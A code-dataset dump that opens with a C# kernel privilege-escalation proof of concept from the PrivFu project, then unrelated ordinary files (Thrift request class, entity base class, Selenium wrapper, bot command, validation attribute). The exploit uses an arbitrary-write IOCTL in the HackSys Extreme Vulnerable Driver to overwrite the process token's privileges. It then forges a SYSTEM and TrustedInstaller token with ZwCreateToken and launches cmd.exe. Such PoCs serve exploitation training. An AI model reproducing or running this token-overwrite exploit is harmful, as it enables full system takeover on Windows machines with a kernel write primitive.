var tokenGroups = (TOKEN_GROUPS)Marshal.PtrToStructure(
pTokenGroups,
typeof(TOKEN_GROUPS));
var tokenOwner = new TOKEN_OWNER(pAdministrators);
var tokenPrimaryGroup = new TOKEN_PRIMARY_GROUP(pLocalSystem);
var tokenDefaultDacl = (TOKEN_DEFAULT_DACL)Marshal.PtrToStructure(
pTokenDefaultDacl,
typeof(TOKEN_DEFAULT_DACL));
StringComparison opt = StringComparison.OrdinalIgnoreCase;
uint groupOwnerAttrs = (uint)(
SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED_BY_DEFAULT |
SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED |
SE_GROUP_ATTRIBUTES.SE_GROUP_OWNER);
uint groupEnabledAttrs = (uint)(
SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED_BY_DEFAULT |
SE_GROUP_ATTRIBUTES.SE_GROUP_ENABLED);
bool isAdmin = false;
bool isSystem = false;
for (var idx = 0; idx < tokenGroups.GroupCount; idx++)
{
ConvertSidToStringSid(
tokenGroups.Groups[idx].Sid,
out string strSid);
if (string.Compare(strSid, DOMAIN_ALIAS_RID_ADMINS, opt) == 0)
{
isAdmin = true;
if (tokenGroups.Groups[idx].Attributes != groupOwnerAttrs)
tokenGroups.Groups[idx].Attributes = groupOwnerAttrs;
}
else if (string.Compare(strSid, LOCAL_SYSTEM_RID, opt) == 0)
{
isSystem = true;
}
else if (string.Compare(strSid, UNTRUSTED_MANDATORY_LEVEL, opt) == 0 |
string.Compare(strSid, LOW_MANDATORY_LEVEL, opt) == 0 |
string.Compare(strSid, MEDIUM_MANDATORY_LEVEL, opt) == 0 |
string.Compare(strSid, MEDIUM_PLUS_MANDATORY_LEVEL, opt) == 0 |
string.Compare(strSid, HIGH_MANDATORY_LEVEL, opt) == 0)
{
tokenGroups.Groups[idx].Sid = pSystemIntegrity;
}
}
tokenGroups.Groups[tokenGroups.GroupCount].Sid = pTrustedInstaller;
tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupOwnerAttrs;
tokenGroups.GroupCount++;
if (!isAdmin)
{
tokenGroups.Groups[tokenGroups.GroupCount].Sid = pAdministrators;
tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupOwnerAttrs;
tokenGroups.GroupCount++;
}
if (!isSystem)
{
tokenGroups.Groups[tokenGroups.GroupCount].Sid = pLocalSystem;
tokenGroups.Groups[tokenGroups.GroupCount].Attributes = groupEnabledAttrs;
tokenGroups.GroupCount++;
}
var expirationTime = new LARGE_INTEGER(-1L);
var sqos = new SECURITY_QUALITY_OF_SERVICE(
impersonationLevel,
SECURITY_STATIC_TRACKING,
0);
var oa = new OBJECT_ATTRIBUTES(string.Empty, 0);
IntPtr pSqos = Marshal.AllocHGlobal(Marshal.SizeOf(sqos));
Marshal.StructureToPtr(sqos, pSqos, true);
oa.SecurityQualityOfService = pSqos;
uint ntstatus = ZwCreateToken(
out IntPtr hToken,
TokenAccessFlags.TOKEN_ALL_ACCESS,
ref oa,
tokenType,
ref authId,
ref expirationTime,
ref tokenUser,
ref tokenGroups,
ref tokenPrivileges,
ref tokenOwner,
ref tokenPrimaryGroup,
ref tokenDefaultDacl,
ref tokenSource);
LocalFree(pTokenGroups);
LocalFree(pTokenDefaultDacl);
if (ntstatus != STATUS_SUCCESS)
{
Console.WriteLine("[-] Failed to create elevated token.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage((int)ntstatus, true));
return IntPtr.Zero;
}
Console.WriteLine("[+] An elevated {0} token is created successfully.",
tokenType == TOKEN_TYPE.TokenPrimary ? "primary" : "impersonation");
return hToken;
}
static bool CreateTokenAssignedProcess(
IntPtr hToken,
string command)
{
int error;
var startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(startupInfo);
startupInfo.lpDesktop = "Winsta0\\Default";
Console.WriteLine("[>] Trying to create a token assigned process.\n");
if (!CreateProcessAsUser(
hToken,
null,
command,
IntPtr.Zero,
IntPtr.Zero,
false,
0,
IntPtr.Zero,
Environment.CurrentDirectory,
ref startupInfo,
out PROCESS_INFORMATION processInformation))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to create new process.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
WaitForSingleObject(processInformation.hProcess, uint.MaxValue);
CloseHandle(processInformation.hThread);
CloseHandle(processInformation.hProcess);
return true;
}
static bool CreateTokenPrivileges(
string[] privs,
out TOKEN_PRIVILEGES tokenPrivileges)
{
int error;
int sizeOfStruct = Marshal.SizeOf(typeof(TOKEN_PRIVILEGES));
IntPtr pPrivileges = Marshal.AllocHGlobal(sizeOfStruct);
tokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(
pPrivileges,
typeof(TOKEN_PRIVILEGES));
tokenPrivileges.PrivilegeCount = privs.Length;
for (var idx = 0; idx < tokenPrivileges.PrivilegeCount; idx++)
{
if (!LookupPrivilegeValue(
null,
privs[idx],
out LUID luid))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to lookup LUID for {0}.", privs[idx]);
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
tokenPrivileges.Privileges[idx].Attributes = (uint)(
SE_PRIVILEGE_ATTRIBUTES.SE_PRIVILEGE_ENABLED |
SE_PRIVILEGE_ATTRIBUTES.SE_PRIVILEGE_ENABLED_BY_DEFAULT);
tokenPrivileges.Privileges[idx].Luid = luid;
}
return true;
}
static IntPtr GetCurrentProcessTokenPointer()
{
uint ntstatus;
var pObject = IntPtr.Zero;
var hToken = WindowsIdentity.GetCurrent().Token;
Console.WriteLine("[+] Got a handle of current process token.");
Console.WriteLine(" |-> hToken: 0x{0}", hToken.ToString("X"));
Console.WriteLine("[>] Trying to retrieve system information.");
int systemInformationLength = 1024;
IntPtr infoBuffer;
do
{
infoBuffer = Marshal.AllocHGlobal(systemInformationLength);
ZeroMemory(infoBuffer, systemInformationLength);
ntstatus = NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation,
infoBuffer,
systemInformationLength,
ref systemInformationLength);
if (ntstatus != STATUS_SUCCESS)
Marshal.FreeHGlobal(infoBuffer);
} while (ntstatus == STATUS_INFO_LENGTH_MISMATCH);
if (ntstatus != STATUS_SUCCESS)
{
Console.WriteLine("[-] Failed to get system information.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage((int)ntstatus, true));
return IntPtr.Zero;
}
var entryCount = Marshal.ReadInt32(infoBuffer);
Console.WriteLine("[+] Got {0} entries.", entryCount);
var pid = Process.GetCurrentProcess().Id;
var entry = new SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX();
var entrySize = Marshal.SizeOf(entry);
var pEntryOffset = new IntPtr(infoBuffer.ToInt64() + IntPtr.Size * 2);
IntPtr uniqueProcessId;
IntPtr handleValue;
Console.WriteLine("[>] Searching our process entry (PID = {0}).", pid);
for (var idx = 0; idx < entryCount; idx++)
{
entry = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(
pEntryOffset,
entry.GetType());
uniqueProcessId = entry.UniqueProcessId;
handleValue = entry.HandleValue;
if (uniqueProcessId == new IntPtr(pid) && handleValue == hToken)
{
pObject = entry.Object;
Console.WriteLine("[+] Got our entry.");
Console.WriteLine(" |-> Object: 0x{0}", pObject.ToString("X16"));
Console.WriteLine(" |-> UniqueProcessId: {0}", uniqueProcessId);
Console.WriteLine(" |-> HandleValue: 0x{0}", handleValue.ToString("X"));
break;
}
pEntryOffset = new IntPtr(pEntryOffset.ToInt64() + entrySize);
}
if (pObject == IntPtr.Zero)
Console.WriteLine("[-] Failed to get target entry.\n");
Marshal.FreeHGlobal(infoBuffer);
CloseHandle(hToken);
return pObject;
}
static IntPtr GetDeviceHandle(string deviceName)
{
int error;
Console.WriteLine("[>] Trying to open device driver.");
Console.WriteLine(" |-> Device Path : {0}", deviceName);
IntPtr hDevice = CreateFile(
deviceName,
FileAccess.ReadWrite,
FileShare.ReadWrite,
IntPtr.Zero,
FileMode.Open,
FileAttributes.Normal,
IntPtr.Zero);
if (hDevice == INVALID_HANDLE_VALUE)
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to get device handle.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return IntPtr.Zero;
}
Console.WriteLine("[+] Got a device handle.");
Console.WriteLine(" |-> hDevice: 0x{0}", hDevice.ToString("X"));
return hDevice;
}
static IntPtr GetInformationFromToken(
IntPtr hToken,
TOKEN_INFORMATION_CLASS tokenInfoClass)
{
bool status;
int error;
int length = 4;
IntPtr buffer;
do
{
buffer = Marshal.AllocHGlobal(length);
ZeroMemory(buffer, length);
status = GetTokenInformation(
hToken, tokenInfoClass, buffer, length, out length);
error = Marshal.GetLastWin32Error();
if (!status)
Marshal.FreeHGlobal(buffer);
} while (!status && (error == ERROR_INSUFFICIENT_BUFFER || error == ERROR_BAD_LENGTH));
if (!status)
return IntPtr.Zero;
return buffer;
}
static string GetWin32ErrorMessage(int code, bool isNtStatus)
{
var message = new StringBuilder();
var messageSize = 255;
FormatMessageFlags messageFlag;
IntPtr pNtdll;
message.Capacity = messageSize;
if (isNtStatus)
{
pNtdll = LoadLibrary("ntdll.dll");
messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_HMODULE |
FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM;
}
else
{
pNtdll = IntPtr.Zero;
messageFlag = FormatMessageFlags.FORMAT_MESSAGE_FROM_SYSTEM;
}
uint ret = FormatMessage(
messageFlag,
pNtdll,
code,
0,
message,
messageSize,
IntPtr.Zero);
if (isNtStatus)
FreeLibrary(pNtdll);
if (ret == 0)
{
return string.Format("[ERROR] Code 0x{0}", code.ToString("X8"));
}
else
{
return string.Format(
"[ERROR] Code 0x{0} : {1}",
code.ToString("X8"),
message.ToString().Trim());
}
}
static bool ImpersonateThreadToken(IntPtr hImpersonationToken)
{
int error;
Console.WriteLine("[>] Trying to impersonate thread token.");
Console.WriteLine(" |-> Current Thread ID : {0}", GetCurrentThreadId());
if (!ImpersonateLoggedOnUser(hImpersonationToken))
{
error = Marshal.GetLastWin32Error();
Console.WriteLine("[-] Failed to impersonation.");
Console.WriteLine(" |-> {0}\n", GetWin32ErrorMessage(error, false));
return false;
}
IntPtr hCurrentToken = WindowsIdentity.GetCurrent().Token;
IntPtr pImpersonationLevel = GetInformationFromToken(
hCurrentToken,
TOKEN_INFORMATION_CLASS.TokenImpersonationLevel);
var impersonationLevel = (SECURITY_IMPERSONATION_LEVEL)Marshal.ReadInt32(
pImpersonationLevel);
LocalFree(pImpersonationLevel);
if (impersonationLevel == SECURITY_IMPERSONATION_LEVEL.SecurityIdentification)
{
Console.WriteLine("[-] Failed to impersonation.");
Console.WriteLine(" |-> May not have {0}.\n", SE_IMPERSONATE_NAME);
return false;
}
else
{
Console.WriteLine("[+] Impersonation is successful.");
return true;
}
}
static void OverwriteTokenPrivileges(
IntPtr hDevice,
IntPtr tokenPointer,
ulong privValue)
{
IntPtr pParent = new IntPtr(tokenPointer.ToInt64() + 0x40);
IntPtr pEnabled = new IntPtr(tokenPointer.ToInt64() + 0x48);
Console.WriteLine("[>] Trying to overwrite token.");
WritePointer(hDevice, pParent, new IntPtr((long)privValue));
WritePointer(hDevice, pEnabled, new IntPtr((long)privValue));
}
static void WritePointer(IntPtr hDevice, IntPtr where, IntPtr what)
{
uint ioctl = 0x22200B;
IntPtr inputBuffer = Marshal.AllocHGlobal(IntPtr.Size * 2);
IntPtr whatBuffer = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.Copy(BitConverter.GetBytes(what.ToInt64()), 0, whatBuffer, IntPtr.Size);
IntPtr[] inputArray = new IntPtr[2];
inputArray[0] = whatBuffer; // what
inputArray[1] = where; // where
Marshal.Copy(inputArray, 0, inputBuffer, 2);
DeviceIoControl(hDevice, ioctl, inputBuffer, (IntPtr.Size * 2),
IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero);
Marshal.FreeHGlobal(whatBuffer);
Marshal.FreeHGlobal(inputBuffer);
}
static void ZeroMemory(IntPtr buffer, int size)
{
var nullBytes = new byte[size];
Marshal.Copy(nullBytes, 0, buffer, size);
}
static void Main()
{
Console.WriteLine("--[ HEVD Kernel Write PoC : SeCreateTokenPrivilege And SeImpersonatePrivilege\n");
if (!Environment.Is64BitOperatingSystem)
{
Console.WriteLine("[!] 32 bit OS is not supported.\n");
return;
}
else if (IntPtr.Size != 8)
{
Console.WriteLine("[!] Should be built with 64 bit pointer.\n");
return;
}
IntPtr tokenPointer = GetCurrentProcessTokenPointer();
if (tokenPointer == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to find nt!_TOKEN.");
return;
}
string deviceName = "\\\\.\\HacksysExtremeVulnerableDriver";
IntPtr hDevice = GetDeviceHandle(deviceName);
if (hDevice == IntPtr.Zero)
{
Console.WriteLine("[-] Failed to open {0}", deviceName);
return;
}
var privs = (ulong)(SepTokenPrivilegesFlags.CREATE_TOKEN |
SepTokenPrivilegesFlags.IMPERSONATE);
OverwriteTokenPrivileges(hDevice, tokenPointer, privs);
CloseHandle(hDevice);
IntPtr hElevatedImpersonation = CreateElevatedToken(
TOKEN_TYPE.TokenImpersonation,
SECURITY_IMPERSONATION_LEVEL.SecurityDelegation);
if (hElevatedImpersonation == IntPtr.Zero)
return;
if (!ImpersonateThreadToken(hElevatedImpersonation))
{
CloseHandle(hElevatedImpersonation);
return;
}
CloseHandle(hElevatedImpersonation);
IntPtr hElevatedPrimary = CreateElevatedToken(
TOKEN_TYPE.TokenPrimary,
SECURITY_IMPERSONATION_LEVEL.SecurityAnonymous);
if (hElevatedPrimary == IntPtr.Zero)
return;
CreateTokenAssignedProcess(
hElevatedPrimary,
"C:\\Windows\\System32\\cmd.exe");
CloseHandle(hElevatedPrimary);
}
}
}
| 38.312912 | 114 | 0.587132 |
[
"BSD-3-Clause"
] |
wisdark/PrivFu
|
KernelWritePoCs/CreateImpersonateTokenVariant/CreateImpersonateTokenVariant.cs
| 58,161 |
C#
|
/**
* Autogenerated by Thrift Compiler (0.9.1)
*
* DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
* @generated
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Thrift;
using Thrift.Collections;
using System.Runtime.Serialization;
using Thrift.Protocol;
using Thrift.Transport;
namespace ImpalaSharp.Thrift
{
#if !SILVERLIGHT
[Serializable]
#endif
public partial class TGetColumnsReq : TBase
{
private string _catalogName;
private string _schemaName;
private string _tableName;
private string _columnName;
public TSessionHandle SessionHandle { get; set; }
public string CatalogName
{
get
{
return _catalogName;
}
set
{
__isset.catalogName = true;
this._catalogName = value;
}
}
public string SchemaName
{
get
{
return _schemaName;
}
set
{
__isset.schemaName = true;
this._schemaName = value;
}
}
public string TableName
{
get
{
return _tableName;
}
set
{
__isset.tableName = true;
this._tableName = value;
}
}
public string ColumnName
{
get
{
return _columnName;
}
set
{
__isset.columnName = true;
this._columnName = value;
}
}
public Isset __isset;
#if !SILVERLIGHT
[Serializable]
#endif
public struct Isset {
public bool catalogName;
public bool schemaName;
public bool tableName;
public bool columnName;
}
public TGetColumnsReq() {
}
public TGetColumnsReq(TSessionHandle sessionHandle) : this() {
this.SessionHandle = sessionHandle;
}
public void Read (TProtocol iprot)
{
bool isset_sessionHandle = false;
TField field;
iprot.ReadStructBegin();
while (true)
{
field = iprot.ReadFieldBegin();
if (field.Type == TType.Stop) {
break;
}
switch (field.ID)
{
case 1:
if (field.Type == TType.Struct) {
SessionHandle = new TSessionHandle();
SessionHandle.Read(iprot);
isset_sessionHandle = true;
} else {
TProtocolUtil.Skip(iprot, field.Type);
}
break;
case 2:
if (field.Type == TType.String) {
CatalogName = iprot.ReadString();
} else {
TProtocolUtil.Skip(iprot, field.Type);
}
break;
case 3:
if (field.Type == TType.String) {
SchemaName = iprot.ReadString();
} else {
TProtocolUtil.Skip(iprot, field.Type);
}
break;
case 4:
if (field.Type == TType.String) {
TableName = iprot.ReadString();
} else {
TProtocolUtil.Skip(iprot, field.Type);
}
break;
case 5:
if (field.Type == TType.String) {
ColumnName = iprot.ReadString();
} else {
TProtocolUtil.Skip(iprot, field.Type);
}
break;
default:
TProtocolUtil.Skip(iprot, field.Type);
break;
}
iprot.ReadFieldEnd();
}
iprot.ReadStructEnd();
if (!isset_sessionHandle)
throw new TProtocolException(TProtocolException.INVALID_DATA);
}
public void Write(TProtocol oprot) {
TStruct struc = new TStruct("TGetColumnsReq");
oprot.WriteStructBegin(struc);
TField field = new TField();
field.Name = "sessionHandle";
field.Type = TType.Struct;
field.ID = 1;
oprot.WriteFieldBegin(field);
SessionHandle.Write(oprot);
oprot.WriteFieldEnd();
if (CatalogName != null && __isset.catalogName) {
field.Name = "catalogName";
field.Type = TType.String;
field.ID = 2;
oprot.WriteFieldBegin(field);
oprot.WriteString(CatalogName);
oprot.WriteFieldEnd();
}
if (SchemaName != null && __isset.schemaName) {
field.Name = "schemaName";
field.Type = TType.String;
field.ID = 3;
oprot.WriteFieldBegin(field);
oprot.WriteString(SchemaName);
oprot.WriteFieldEnd();
}
if (TableName != null && __isset.tableName) {
field.Name = "tableName";
field.Type = TType.String;
field.ID = 4;
oprot.WriteFieldBegin(field);
oprot.WriteString(TableName);
oprot.WriteFieldEnd();
}
if (ColumnName != null && __isset.columnName) {
field.Name = "columnName";
field.Type = TType.String;
field.ID = 5;
oprot.WriteFieldBegin(field);
oprot.WriteString(ColumnName);
oprot.WriteFieldEnd();
}
oprot.WriteFieldStop();
oprot.WriteStructEnd();
}
public override string ToString() {
StringBuilder sb = new StringBuilder("TGetColumnsReq(");
sb.Append("SessionHandle: ");
sb.Append(SessionHandle== null ? "<null>" : SessionHandle.ToString());
sb.Append(",CatalogName: ");
sb.Append(CatalogName);
sb.Append(",SchemaName: ");
sb.Append(SchemaName);
sb.Append(",TableName: ");
sb.Append(TableName);
sb.Append(",ColumnName: ");
sb.Append(ColumnName);
sb.Append(")");
return sb.ToString();
}
}
}
| 25.33913 | 77 | 0.531743 |
[
"Apache-2.0"
] |
s2shape/ImpalaSharp
|
ImpalaSharp/thrift/gen-csharp/ImpalaSharp/Thrift/TGetColumnsReq.cs
| 5,828 |
C#
|
using System;
using System.Collections.Generic;
using System.Data.Entity.Infrastructure;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace LearnSeo.Data
{
public interface IDbContext : IDisposable, IObjectContextAdapter
{
int SaveChanges();
DbContextConfiguration Configuration { get; }
}
}
| 20.529412 | 68 | 0.744986 |
[
"MIT"
] |
QuinntyneBrown/learn-seo
|
LearnSeo/Data/IDbContext.cs
| 349 |
C#
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Threading.Tasks;
using System.Web;
namespace Trifolia.Web.Formatters
{
public class JavaScriptFormatter : MediaTypeFormatter
{
public JavaScriptFormatter()
{
this.SupportedMediaTypes.Add(new MediaTypeHeaderValue("text/javascript"));
}
public override bool CanWriteType(Type type)
{
return type == typeof(string);
}
public override bool CanReadType(Type type)
{
return type == typeof(string);
}
public override Task WriteToStreamAsync(Type type, object value, Stream writeStream, System.Net.Http.HttpContent content, TransportContext transportContext)
{
return Task.Factory.StartNew(() =>
{
StreamWriter writer = new StreamWriter(writeStream);
writer.Write(value);
writer.Flush();
});
}
public override Task<object> ReadFromStreamAsync(Type type, Stream readStream, System.Net.Http.HttpContent content, IFormatterLogger formatterLogger)
{
return Task.Factory.StartNew(() =>
{
StreamReader reader = new StreamReader(readStream);
return (object)reader.ReadToEnd();
});
}
}
}
| 30.142857 | 164 | 0.618822 |
[
"Apache-2.0"
] |
BOBO41/trifolia
|
Trifolia.Web/Formatters/JavaScriptFormatter.cs
| 1,479 |
C#
|
// Copyright (c) Avanade. Licensed under the MIT License. See https://github.com/Avanade/Beef
using Newtonsoft.Json;
using System;
using System.Collections.Specialized;
using System.ComponentModel;
namespace Beef.Entities
{
/// <summary>
/// Represents the base <b>Entity</b> class.
/// </summary>
[System.Diagnostics.DebuggerStepThrough]
public abstract class EntityBase : EntityBasicBase, IEditableObject, ICloneable, ICopyFrom, ICleanUp, IChangeTrackingLogging
{
private object? _editCopy;
/// <summary>
/// Performs a deep copy from another object updating this instance.
/// </summary>
/// <param name="from">The object to copy from.</param>
public virtual void CopyFrom(object from)
{
ValidateCopyFromType<object>(from);
CopyFrom((EntityBase)from);
}
#pragma warning disable CA1801, CA1822, IDE0060 // Mark members as static; this is intended as an instance method.
/// <summary>
/// Performs a deep copy from another object updating this instance.
/// </summary>
/// <param name="from">The object to copy from.</param>
public void CopyFrom(EntityBase from) { }
#pragma warning restore CA1801, CA1822, IDE0060
/// <summary>
/// Validates the <see cref="CopyFrom(object)"/> <see cref="Type"/> is valid.
/// </summary>
/// <typeparam name="T">The expected <see cref="Type"/>.</typeparam>
/// <param name="from">The object to copy from.</param>
/// <returns>The <paramref name="from"/> value casted to <typeparamref name="T"/>.</returns>
protected static T ValidateCopyFromType<T>(object from) where T : class
{
Check.NotNull(from, nameof(from));
if (from is not T val)
throw new ArgumentException($"Cannot copy from Type '{from?.GetType().FullName}' as it is incompatible.", nameof(from));
return val;
}
/// <summary>
/// Copies (<see cref="ICopyFrom"/>) or clones (<see cref="ICloneable"/>) the <paramref name="from"/> value.
/// </summary>
/// <typeparam name="T">The entity <see cref="Type"/>.</typeparam>
/// <param name="from">The from value.</param>
/// <param name="to">The to value (required to support a <see cref="ICopyFrom.CopyFrom(object)"/>).</param>
/// <returns>The resulting to value.</returns>
/// <remarks>A <see cref="ICopyFrom.CopyFrom(object)"/> will be attempted first where supported, then a <see cref="ICloneable.Clone"/>; otherwise, a <see cref="InvalidOperationException"/> will be thrown.
/// <i>Note:</i> <see cref="ICopyFrom"/> is not supported for collections.</remarks>
/// <exception cref="InvalidOperationException">Thrown where neither <see cref="ICopyFrom"/>) or <see cref="ICloneable"/> are supported.</exception>
protected static T? CopyOrClone<T>(T? from, T? to) where T : class
{
if (from == default)
return default!;
if (to == default && from is ICloneable c)
return (T)c.Clone();
else if (to is ICopyFrom cf)
{
cf.CopyFrom(from);
return to;
}
else if (from is ICloneable c2)
return (T)c2.Clone();
throw new ArgumentException("The Type of the value must support ICopyFrom and/or ICloneable (minimum).", nameof(from));
}
/// <summary>
/// Creates a deep copy of the <see cref="EntityBase"/>.
/// </summary>
/// <returns>A deep copy of the <see cref="EntityBase"/>.</returns>
public abstract object Clone();
/// <summary>
/// Determines whether the specified <paramref name="obj"/> is equal to the current instance by comparing the values of all the properties.
/// </summary>
/// <param name="obj">The object to compare with the current object.</param>
/// <returns><c>true</c> if the specified object is equal to the current object; otherwise, <c>false</c>.</returns>
/// <remarks>At the <see cref="EntityBase"/> level no properties are checked therefore assumed always equals; this method is intended to be overridden.</remarks>
public override bool Equals(object obj) => obj != null;
/// <summary>
/// Returns a hash code for the <see cref="EntityBase"/> (always returns the same value regardless; inheritors should override).
/// </summary>
/// <returns>A hash code for the <see cref="EntityBase"/>.</returns>
public override int GetHashCode() => 0;
#region IEditableObject
/// <summary>
/// Begins an edit on an entity.
/// </summary>
public void BeginEdit()
{
// Exit where already in edit mode.
if (_editCopy != null)
return;
_editCopy = this.Clone();
}
/// <summary>
/// Discards the entity changes since the last <see cref="BeginEdit"/>.
/// </summary>
/// <remarks>Resets the entity state to unchanged (see <see cref="AcceptChanges"/>) after the changes have been discarded.</remarks>
public void CancelEdit()
{
if (_editCopy != null)
CopyFrom(_editCopy);
AcceptChanges();
}
/// <summary>
/// Ends and commits the entity changes since the last <see cref="BeginEdit"/>.
/// </summary>
/// <remarks>Resets the entity state to unchanged (see <see cref="AcceptChanges"/>).</remarks>
public void EndEdit()
{
if (_editCopy != null)
AcceptChanges();
}
#endregion
/// <summary>
/// Resets the entity state to unchanged by accepting the changes (resets <see cref="ChangeTracking"/>).
/// </summary>
/// <remarks>Ends and commits the entity changes (see <see cref="EndEdit"/>).</remarks>
public override void AcceptChanges()
{
base.AcceptChanges();
_editCopy = null;
ChangeTracking = null;
}
#region ICleanup
/// <summary>
/// Performs a clean-up of the <see cref="EntityBase"/> resetting property values as appropriate to ensure a basic level of data consistency.
/// </summary>
public virtual void CleanUp() { }
/// <summary>
/// Indicates whether considered initial; i.e. all properties have their initial value.
/// </summary>
public abstract bool IsInitial { get; }
#endregion
#region IChangeTracking
/// <summary>
/// Determines that until <see cref="AcceptChanges"/> is invoked property changes are to be logged (see <see cref="ChangeTracking"/>).
/// </summary>
public virtual void TrackChanges()
{
if (ChangeTracking == null)
ChangeTracking = new StringCollection();
}
/// <summary>
/// Listens to the <see cref="OnPropertyChanged"/> to perform <see cref="ChangeTracking"/>.
/// </summary>
/// <param name="propertyName">The property name.</param>
protected override void OnPropertyChanged(string propertyName)
{
base.OnPropertyChanged(propertyName);
if (ChangeTracking != null && !ChangeTracking.Contains(propertyName))
ChangeTracking.Add(propertyName);
}
/// <summary>
/// Lists the properties (names of) that have been changed (note that this property is not JSON serialized).
/// </summary>
[JsonIgnore()]
public StringCollection? ChangeTracking { get; private set; }
/// <summary>
/// Indicates whether entity is currently <see cref="ChangeTracking"/>; <see cref="TrackChanges"/> and <see cref="IChangeTracking.AcceptChanges"/>.
/// </summary>
[JsonIgnore()]
public bool IsChangeTracking => ChangeTracking != null;
#endregion
}
}
| 40.695 | 212 | 0.589999 |
[
"MIT"
] |
Avanade/Beef
|
src/Beef.Abstractions/Entities/EntityBase.cs
| 8,141 |
C#
|
using System.Collections.ObjectModel;
using OpenQA.Selenium;
namespace Banquo.Extensions
{
public partial class User : IWebDriver
{
private readonly IWebDriver driver;
public string Url { get => driver.Url; set => driver.Url = value; }
public string Title { get => driver.Title; }
public string PageSource { get => driver.PageSource; }
public string CurrentWindowHandle { get => driver.CurrentWindowHandle; }
public ReadOnlyCollection<string> WindowHandles { get => driver.WindowHandles; }
public IWebDriver Driver => driver;
public User(IWebDriver driver) => this.driver = driver;
public void Close() => driver.Close();
public void Quit() => driver.Quit();
public IOptions Manage() => driver.Manage();
public INavigation Navigate() => driver.Navigate();
public ITargetLocator SwitchTo() => driver.SwitchTo();
public IWebElement FindElement(By by) => driver.FindElement(by);
public ReadOnlyCollection<IWebElement> FindElements(By by) => driver.FindElements(by);
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
driver.Dispose();
}
}
public void Dispose()
{
// Do not change this code. Put cleanup code in 'Dispose(bool disposing)' method
Dispose(disposing: true);
System.GC.SuppressFinalize(this);
}
}
}
| 28.415094 | 94 | 0.61421 |
[
"MIT"
] |
flafond/Banquo
|
Banquo/src/Extensions/User.cs
| 1,508 |
C#
|
using System;
using System.Threading;
using Windows.ApplicationModel.Background;
namespace Shiny.Jobs
{
public class JobBackgroundTaskProcessor : IBackgroundTaskProcessor
{
readonly IJobManager jobManager;
public JobBackgroundTaskProcessor(IJobManager jobManager)
{
this.jobManager = jobManager;
}
public async void Process(IBackgroundTaskInstance taskInstance)
{
var deferral = taskInstance.GetDeferral();
using (var cancelSrc = new CancellationTokenSource())
{
taskInstance.Canceled += (sender, args) => cancelSrc.Cancel();
await this.jobManager.RunAll(cancelSrc.Token);
}
deferral.Complete();
}
}
}
| 25.193548 | 78 | 0.62484 |
[
"MIT"
] |
AlexAba/shiny
|
src/Shiny.Core/Jobs/Platforms/Uwp/JobBackgroundTaskProcessor.cs
| 783 |
C#
|
using System;
using System.Globalization;
using System.ComponentModel.DataAnnotations;
namespace PI.Utilities.Attributes
{
/// <summary>
/// TimeZoneId validation attribute
/// </summary>
public class TimeZoneIdAttribute : ValidationAttribute
{
protected override ValidationResult IsValid(object value, ValidationContext validationContext)
{
//validate the timezone
if(value is string)
{
try
{
var timeZone = TimeZoneInfo.FindSystemTimeZoneById(value.ToString());
return null;
}
catch
{
}
}
string msg = (!String.IsNullOrEmpty(ErrorMessageString)) ? ErrorMessageString : "Unknown time zone id: {0}";
return new ValidationResult(string.Format(msg, value));
}
}
}
| 29.03125 | 120 | 0.558665 |
[
"MIT"
] |
piandmash/PI.Utilities
|
PI.Utilities/PI.Utilities/Attributes/TimeZoneIdAttribute.cs
| 931 |
C#
|
using Discord;
using Discord.Commands;
using Kotocorn.Common;
using Kotocorn.Common.Attributes;
using System;
using System.Threading.Tasks;
namespace Kotocorn.Modules.Utility
{
public partial class Utility
{
public class BotConfigCommands : KotocornSubmodule
{
[KotocornCommand, Usage, Description, Aliases]
[OwnerOnly]
public async Task BotConfigEdit()
{
var names = Enum.GetNames(typeof(BotConfigEditType));
await ReplyAsync(string.Join(", ", names)).ConfigureAwait(false);
}
[KotocornCommand, Usage, Description, Aliases]
[OwnerOnly]
public async Task BotConfigEdit(BotConfigEditType type, [Remainder]string newValue = null)
{
if (string.IsNullOrWhiteSpace(newValue))
newValue = null;
var success = _bc.Edit(type, newValue);
if (!success)
await ReplyErrorLocalized("bot_config_edit_fail", Format.Bold(type.ToString()), Format.Bold(newValue ?? "NULL")).ConfigureAwait(false);
else
await ReplyConfirmLocalized("bot_config_edit_success", Format.Bold(type.ToString()), Format.Bold(newValue ?? "NULL")).ConfigureAwait(false);
}
}
}
}
| 34.589744 | 160 | 0.60341 |
[
"MIT"
] |
Erencorn/Kotocorn
|
NadekoBot.Core/Modules/Utility/BotConfigCommands.cs
| 1,351 |
C#
|
#if UNITY_EDITOR
using System;
using System.Collections.Generic;
using UnityEngine;
namespace GraphExt.Editor
{
public class PrefabNodeCreationMenuEntry<TNode, TNodeComponent> : NodeCreationMenuEntry<TNode>
